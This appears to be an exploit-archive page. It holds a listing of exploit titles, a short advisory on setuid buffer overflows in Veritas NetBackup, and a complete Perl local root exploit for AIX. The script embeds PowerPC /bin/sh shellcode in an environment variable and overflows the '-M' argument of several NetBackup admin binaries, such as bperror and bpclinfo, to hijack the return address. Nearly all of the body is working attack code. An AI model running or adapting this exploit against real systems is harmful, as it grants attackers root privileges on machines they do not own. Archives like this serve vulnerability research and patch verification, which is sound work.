
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
84 lines
No EOL
3.1 KiB
Perl
Executable file
84 lines
No EOL
3.1 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/10226/info
|
|
|
|
Multiple unspecified local buffer overrun and format string vulnerabilities have been reported to exist in various setuid Veritas NetBackup binaries. These issues may be exploited to execute arbitrary code with root privileges.
|
|
|
|
It should be noted that these issues are confirmed to exist and be exploitable on Linux platforms, however, releases of the software on other Unix-based platforms are also believed to be similarly affected.
|
|
|
|
It is also not known at this point which specific NetBackup releases or distributions are affected.
|
|
|
|
#!/usr/bin/perl -w
|
|
#
|
|
# Veritas Netbackup 4.x and 5.x hostname overflow
|
|
#
|
|
# kf (kf_lists[at]secnetops[dot]com) - 04/25/2004
|
|
#
|
|
# This bug has not been patched as of:
|
|
# VERSION NetBackup 5.0GA
|
|
#
|
|
# /usr/openv/netbackup/bin/nonroot_admin *MUST have been run*
|
|
# if not the setuids do NOT exist
|
|
#
|
|
# AIX Version
|
|
# Starting program: /usr/openv/bperror -M `perl -e 'print "A" x 308'`ABCD
|
|
# Program received signal SIGSEGV, Segmentation fault.
|
|
# 0x41424344 in ?? ()
|
|
#
|
|
|
|
$retval = 0x2ff22dff;
|
|
|
|
$tgts{"0"} = "/usr/openv/netbackup/bin/admincmd/bperror:308";
|
|
$tgts{"1"} = "/usr/openv/netbackup/bin/admincmd/bpretlevel:280";
|
|
$tgts{"2"} = "/usr/openv/netbackup/bin/admincmd/bpclinfo:284";
|
|
$tgts{"3"} = "/usr/openv/netbackup/bin/admincmd/bpauthorize:4700";
|
|
$tgts{"4"} = "/usr/openv/netbackup/bin/admincmd/bprdreq:560";
|
|
unless (($target,$offset) = @ARGV) {
|
|
|
|
print "\n Veritas Netbackup hostname overflow, kf \(kf_lists[at]secnetops[dot]com\) - 04/25/2004\n";
|
|
print "Modded for AIX 50L\n";
|
|
print "\n\nUsage: $0 <target> <offset> \n\nTargets:\n\n";
|
|
|
|
foreach $key (sort(keys %tgts)) {
|
|
($a,$b) = split(/\:/,$tgts{"$key"});
|
|
print "\t$key. $a . $b \n";
|
|
}
|
|
|
|
print "\n";
|
|
exit 1;
|
|
}
|
|
|
|
$ret = pack("l", ($retval+$offset));
|
|
($a,$b) = split(/\:/,$tgts{"$target"});
|
|
print "*** Target: $a, Len: $b, Offset: $offset, Ret: $ret ***\n\n";
|
|
|
|
$sc = "\x7c\xa5\x2a\x79" x 20;
|
|
$sc .= "\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
|
|
$sc .= "\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
|
|
$sc .= "\x4c\xc6\x33\x42\x44\xff\xff\x02\xb6\x05\xff\xff\x7e\x94\xa2\x79";
|
|
$sc .= "\x7e\x84\xa3\x78\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
|
|
$sc .= "\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
|
|
$sc .= "\x4c\xc6\x33\x42\x44\xff\xff\x02\xb7\x05\xff\xff\x38\x75\xff\x04";
|
|
$sc .= "\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10";
|
|
$sc .= "\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh";
|
|
|
|
$ENV{"ENV"} = "";
|
|
|
|
$ENV{"SNO"} = $sc;
|
|
|
|
$buf = "A" x $b;
|
|
$buf .= "$ret";
|
|
|
|
if ($target eq 0) {
|
|
exec("/usr/openv/netbackup/bin/admincmd/bperror -M $buf");
|
|
}
|
|
if ($target eq 1) {
|
|
exec("/usr/openv/netbackup/bin/admincmd/bpretlevel -M $buf");
|
|
}
|
|
if ($target eq 2) {
|
|
exec("/usr/openv/netbackup/bin/admincmd/bpclinfo class_name -set -M $buf");
|
|
}
|
|
if ($target eq 3) {
|
|
exec("/usr/openv/netbackup/bin/admincmd/bpauthorize -M $buf");
|
|
}
|
|
if ($target eq 4) {
|
|
exec("/usr/openv/netbackup/bin/admincmd/bprdreq -M $buf");
|
|
} |